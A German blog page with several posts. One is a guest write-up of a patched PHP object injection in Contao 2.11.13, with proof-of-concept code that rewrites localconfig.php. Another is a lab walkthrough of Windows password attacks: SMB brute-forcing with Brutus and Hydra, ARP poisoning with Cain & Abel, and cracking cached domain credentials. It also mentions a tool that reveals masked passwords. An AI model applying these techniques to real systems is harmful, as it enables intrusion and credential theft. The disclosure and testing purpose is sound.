PHP-Object-Injection in Contao 2.11.13

Dies ist ein Gastbeitrag von Ruben Rögels.

Disclaimer

Der Artikel beschreibt einen möglichen Angriffsvektor für eine potentielle PHP-Object-Injection in Contao 2.11.13 und früher.
Er dient in keiner Weise als Aufforderung oder Anleitung.

Die Sicherheitslücke wurde darüber hinaus auch sehr schnell behoben:

Anlass

Am 03. Februar wurde Contao 2.11.14 veröffentlich (https://contao.org/de/news/contao_2-11-14.html).
In diesem Release wurde eine potentielle PHP-Object-Injection behoben, heißt es in der Meldung. Entdeckt wurde die Lücke von Pedro Ribeiro. Hier kann sein PoC eingesehen werden: https://github.com/pedrib/PoC/blob/master/contao-3.2.4.txt

Da ich selbst Contao verwende, habe ich mich mit der Problematik beschäftigt und dabei unabhängig von Pedro ein PoC implementiert.

serialize() und unserialize()

Bevor ich den konkreten Fall in Contao erläutere, möchte ich den Angriffsverktor generell kurz beschreiben.

PHP bietet die Möglichkeit Daten, und damit auch Objekte, in speicherbare Form zu überführen. Hierzu dient die serialize()-Funktion.

Beispiel

Klasse “User”

class User {
   public $name = '';

   public function setName($name) {
      $this->name = $name;
   }

   public function getName() {
      return $this->name;
   }
}

System “A”:

$user = new User();
$user->setName('Pedro');
$serialized = serialize($user);
file_put_contents('saved_object.txt',$serialized);

Um aus der serialisierten Repräsentation des Objekts wieder ein instanziertes Objekt zu erhalten, muss die unserialize()-Funktion genutzt werden:

System “B”:

$serialized = file_get_contents('saved_object.txt);
$user = unserialize($serialized);
echo $user->getName();

Und nun erscheint “Pedro”. Wir haben das Objekt also auf einem System A serialisiert, auf ein System B übertragen und können dort nach der Deserialisierung per getName() die gespeicherten Daten abrufen.

Schlussfolgerung

Die Datei “saved_object.txt” kann also zwischen zwei Applikationen ausgetauscht werden. Die Einzige Voraussetzungen ist, dass in beiden Applikationen die gleiche Klasse “User” existiert, da diese von der unserialize()-Funktion geladen werden muss.

Am Rande: PHP ist es egal, ob es tatsächlich die gleiche Klasse ist, wenn der Klassen-Name auf dem Ziel-System existiert, wird die Klasse geladen und mit den Daten der serialisierten Repräsentation befüllt.

Nun steht die Frage im Raum: Was geschieht, wenn eine Benutzereingabe Argument der unserialize()-Funktion ist.

Mechanik in Contao

Genau diese Konstellation existiert in Contao 2.11.13 (und vermutlich auch davor).
Bevor ich ins Detail gehe, beschreibe ich die Mechanik, die in Contao problematisch ist.

Contao besitzt eine Config-Klasse.
Diese ermöglicht das Lesen und Schreiben der System-Konfiguration, welche in der Datei “localconfig.php” liegt.
Diese Datei wird per __destruct()-Methode jedes mal geschrieben, wenn die Daten in der Config-Klasse verändert wurden. Dies wird mit der Eigenschaft “blnIsModified” überprüft.

Voraussetzung 1: Die Config-Klasse bietet also prinzipiell eine Möglichkeit Dinge in eine ausführbare PHP-Datei zu schreiben.

Eine weitere Wichtige Rolle spielt die Input-Klasse.
Diese säubert Benutzereingabe. Hierzu werden u.a. die Inhalte der Superglobals $_POST und $_GET in die Klasse kopiert und anschließend bereinigt (XSS, Tags, Entitäten, etc.).
Dies geschieht aber nur vollständig beim Aufruf von Input::post() oder Input::get(). Wird aber Input::postRaw() verwendet, finden viele der Bereinigungen nicht statt.

An dieser Stelle sei auch angemerkt, dass die serialisierte Repräsentation eines Objekts Nullbyte-Stings enthalten kann, die einen HTTP-Request ohne Maskierung in meinen Versuchen nicht überlebt haben.

Voraussetzung 2: Die serialisierte Repräsentation des Objekts überlebt die Input Sanitization.

Zudem besitzt Contao eine Widget-Basisklasse, von der alle Widgets, also Eingabefelder, abgeleitet werden. Die Widget-Klasse implementiert Validierungen der Eingaben. Im Zuge der Validierung wird die Eingabe durch die unserialize()-Funktion geschleift.

Voraussetzung 3: unserialize() wird auf eine Benutzereingabe angewendet

Hürden

Die einzigen Hürden waren für mich die Nullbyte-Strings und Zeilenumbrüche.
Diese entstehen beim Serialisieren, wenn das zu serialisierende Objekt “protected” oder “private” Eigenschaften besitzt.

Serialisierte Config-Objekte

Da sich die unserialize()-Funktion aber, wie bereits vorher beschrieben, nicht daran stört, dass in der serialisierten Repräsentation Eigenschaften public sind, die in der Klasse tatsächlich aber protected sind, können wir in unsere Config-Klasse die zu störenden Nullbyte-Strings führenden protected Deklarationen entfernen.

Anschließend wird der Config noch der eigentliche Schadcode hinzugefügt:

$cfg = Config::getInstance();
$cfg->add("throw new Exception('Opps!'); $dummy",null);

$serialized = serialize($cfg);
file_put_contents('evil_config.txt',$serialized);

Nun müssen aus der “evil_config.txt” noch die Zeilenumbrüche entfernt werden. Dabei ist zu beachten, dass die Längenangabe der Strings entsprechend angepasst wird:

Dieser String lässt sich nun in einem Eingabefeld abschicken:

<!DOCTYPE html>
<html>
   <head>
      <title>PoC</title>
   </head>
   <body>
      <form method="post">
         <textarea name="name"></textarea>
         <input name="submit" value="los" type="submit" />
      </form>
   </body>
</html>

<?php
define('TL_MODE','FE');
define('BYPASS_TOKEN_CHECK',true);

require_once('../../initialize.php');

$input = Input::getInstance();
if($input->post('submit')) {
   $w = new TextArea();
   $w->value = $input->postRaw('name');
   $w->validate();
}

In meinen Versuchen konnte ich unter Benutzung von Input::postRaw() die localconfig.php beliebig verändern und mit Input::post() zumindest leeren.

Advertisements

ARP, Sniffer, Beispiele für Passwort-Angriffe im Windows Netzwerk

Hier mal ein kleines Praxisbeispiel, wie man einfache Passwortangriffe in Windowsnetzwerken durchführen kann.

Dazu baue ich ein simples Netzwerk auf, mit einem Windows Server mit ADS, einem Client und einem Angreifer PC.


Einfache Testumgebung

Server läuft unter Windows Server 2003, die Clients laufen unter Windows XP.

Der Client ist in die Domäne eingebunden (daxnet.intern). Einen DHCP Server habe ich nicht installiert, IP Konfigurationen sind statisch.

Ich teste Passwortangriffe in allen erdenkbaren Kombinationen, also ADS, SMB usw..

Angriffe mit Brutus und Hydra

Diese Tools bieten auch die Möglichkeit, Passwort Angriffe auf Windows Dienste auszuführen, was ja releativ einfach sein sollte. In diesem Fall versuche ich mein Glück auf SMB.

Es handelt es sich hier lediglich um Proof-of-Concept Angriffe, komlexe Namen- und Passwortkombinationen lassen sich mit diesen Angriffen sowieso nur schwer herauskriegen.

Ich lege ein Share test an, auf das Jeder Leserechte hat. Unter den Sicherheitseinstellungen haben Benutzer ebenfalls Leserechte. Der Benutzer otto mit dem Passwort HalloWelt-10 ist Mitglied von Benutzer.

Es ist schon relativ unwahrscheinlich, das mit so einem Passwort eine Wörterbuch- oder eine Bruteforce Attacke erfolgreich sein kann (es gibt ja die Kennwortrichtlinien, die automatisch aktiviert sind). Aber -> Proof-of-Concept, das Passwort steht natürlich in meinem Wörterbuch.

 

Brutus

Keine Probleme mit Brutus, das ganze dauert nur wenige Sekunden (819 Wörter, Benutzer vorgegeben).

Im Bruteforce Modus schafft Brutus ca. 60 Angriffe / Sekunde (unter VMWare Server 2 emulierte Umgebung), das lohnt evtl. dann also auch, das sind immerhing über 10 Mio. Angriffe an einem Tag.

Brutus ist also dazu geeignet (im Gegensatz zu manchen anderen Angriffen) und einfach zu bedienen.

 

Hydra

Mit Hydra ist es auch nicht schwer:

Und es geht auch etwas schneller als mit Brutus. Ich habe die words.txt vom vorhergehenden Versuch mit Brutus kopiert.

 

Fazit

Mit einer gescheiten Benutzerliste / Passwortliste und evtl. noch etwas Wissen über das Netzwerk kann ein Angreifer mit etwas Geduld schon etwas erreichen.

 

 

Angriffe mit Cain & Abel

Das schöne an C&A ist, das es neben einem Passwortsniffer noch eine sehr einfache Möglichkeit für APR bietet.

Das heißt, das ein Angreifer den Netzwerkverkehr unbemerkt auf seinen Rechner umleiten kann, um so eben an sensible Informationen zu kommen. Außerdem kann ein Angreifer auch gleich noch seine MAC Adresse fälschen um seine Spuren zu verschleiern (MAC-Spoofing).

Zur genaueren Funktionsweise siehe auch die Hilfe von C&A und [1], [2].

 

Hier eine ganz kurze Step-by-Step Anleitung um ARP zu konfigurieren:

  • Evtl. muß man in das Fenster in dem Bereich in der Fenstermitte klicken (weiße Fläche unter Status, blauer Punkt)
  • Dann auf das + klicken

Hier der neue Dialog

Die Adresse auswählen, die geARPt werden soll.

Dann APR und Sniffer aktivieren: Zur Aktivierung müssen die Schaltflächen bei den blauen Punkten aktiviert sein.

Und schon wird gesnifft.

 

 

Aus dem Cache von Domain Client PCs

Genauere Anleitung siehe [4].

Benötigete Tools:

john-1.6.37-mscache-.zip

-> am besten danach suchen

und cachedump.

Das Prinzip ist, das die Passwörter grundsätzlich auf den Clients gecached werden, um es zu ermöglichen, das die Anmeldung an die Clients auch funktioniert, wenn der PC den Domaincontroller nicht erreichen kann. Die kann man mit cachedump auslesen und dann mit der o.g. Version von jtr gegenprüfen. Für cachedump benötigt man lokale Admin Rechte auf den Clients.

Außerdem sollte das auch mit rcrack + ntlm zu entschlüsseln sein, was ich aber mangels passender Tabellen (noch) nicht prüfen konnte.

Aber mit jtr klappts:

Und wie man sieht ist das Tool echt schnell. Das Passwort war wieder in der PW-Liste.

Das ist ein sehr interessanter Angriff, da es ja recht einfach ist, lokale Adminrechte zu bekommen und Domain Clients ja in den Firmen natürlich immer rumstehen. Der Angriff erzeugt außerdem keine Spuren im Netzwerk, da ja kein Verkehr erzeugt wird.

Wichtig ist noch herauszufinden, wie man verhindert, das die Passwörter gecached werden.

 

SMB

Bei der Authentifizierung über SMB wird das Passwort im LM-Hash Format übertragen. Das ist für schon eher geeignet.

Da Dank Kennwortrichtlinien und mangelnder Rainbowtables das ganze unter Windows 2003 nicht tut (zumindest noch ein paar Tage 🙂 ), richte ich einen Ordner auf dem 2. PC ein, Freigabe Benutzer tester/tester.

Funktioniert aber nicht, der LM Hash wird nicht vollständig übertragen. Es gibt anscheinend die Möglichkeit, sog. Halflm Hashes Rainbowtable mit Winrtgen zu erstellen, die dann zumindest das halbe Passwort finden.

 

Sonstige Passwörter

Abfangen lassen sich natürlich alle Passwörter die im Klartext übertragen werden, wie POP, HTTP usw..

Fazit

Zum Glück werden keine LM Hashes übertragen, das wäre zu einfach zu cracken. Alledings kann man auch viel mit Brutus & Co anfangen. So ganz sicher ist das alles nicht…

Um an Windows Passwörter im Klartext zu gelangen ist es immer noch am einfachsten ein pwdump File zu haben, das kriegt man aber nicht über das Netzwerk.

Wäre aber noch interessant, ob das auch bei Windows Server 2003 funktioniert…

 

 

l0phtcrack (kommerziell)

Das Tool kann aus verschiedenen Quellen Passwörter cracken, und zwar Unix und Windows. Einfach zu bedienen, die Doku ist soweit OK. 15 Tage läuft es ohne Kohle.

Der Sniffer von l0phtcrack kann nur SMB abhören. Bei einem Test zwischen zwei XP Rechnern hat das aber nicht funktioniert.

Die weiteren Funktionen sind einfach zu bedienen, werden allerdings auch durch andere Tools abgedeckt.

Interessant ist aber noch die Anleitung unter [3], wie man Passwörter aus der SAM wiederherstellen kann (für eine ältere Version).

Das klappt soweit auch, das cracken geht halt relativ lang, v.a. wenn Bruteforce benötigt wird, ist aber machbar.

LCP

Eine Freeware Alternative für l0phtcrack, die aber seit 2005 nicht mehr weiterentwickelt wird.

http://www.lcpsoft.com/english/index.htm

Das Programm sieht aber sehr gut und brauchbar aus, wobei es aber nur noch bis Windows Server 2003 weiterhelfen sollte. Die Hilfsdatei ist ausführlich und einen Blick wert.

Es werden auch ein paar Beispiel Dumbs mitgeliefert, mit denen man das Programm testen kann. Außerdem sind auch Wörterbücher dabei.

Während eines Durchlaufs

Weiterlesen

[1] Angriffsszenarien auf Window

[2] tutorial rainbowtables and rainbowcrack

[3] SAM Password Recovery

[4] Cracking Cached Domain Passwords

[5] http://www.lcpsoft.com/english/articles/passwords.htm

 

 

 

Flash-Videos mit VideoCacheView speichern

Als Alternative zum Orbit Downloader, der ja noch allen möglichen Netzwerkverkehr auf den PC holt, benutze ich seit einiger Zeit VideoCacheView ein weiteres großartiges Tool von Nirsoft. Das Programm kann alle im Cache befindlichen Flash Filmchen abspeichern, im Gegensatz zu vielen anderen Tools.

Um ein Video abspeichern zu können muss es vollständig im Cache liegen, das heisst, das es auch im Browser komplett geladen sein muss. Das Programm sucht beim Start bereits nach Videos, für neue Videos muss man die Ansicht auch aktualisieren.

Abgespeichert werden die Videos dann übrigens mit “Copy Selected Files To…”.

Download: http://www.nirsoft.net/utils/video_cache_view.html

 

Passwörter anzeigen lassen unter Windows mit Pantsoff

Mit Pantsoff kann man sich Passwortfelder (*****) in Windows im Klartext anzeigen lassen, z.B. POP3-Passwörter unter Outlook. Das funktioniert zwar nicht immer, ist aber einen Versuch wert.

Leider bietet der Autor das Programm nicht mehr zum Download an. Also am besten mit google danach suchen.

Alternativ gibt es auch verschiedene Programme von Nirsoft um vergessene Passwörter unter Windows herauszufinden:
http://www.nirsoft.net/password_recovery_tools.html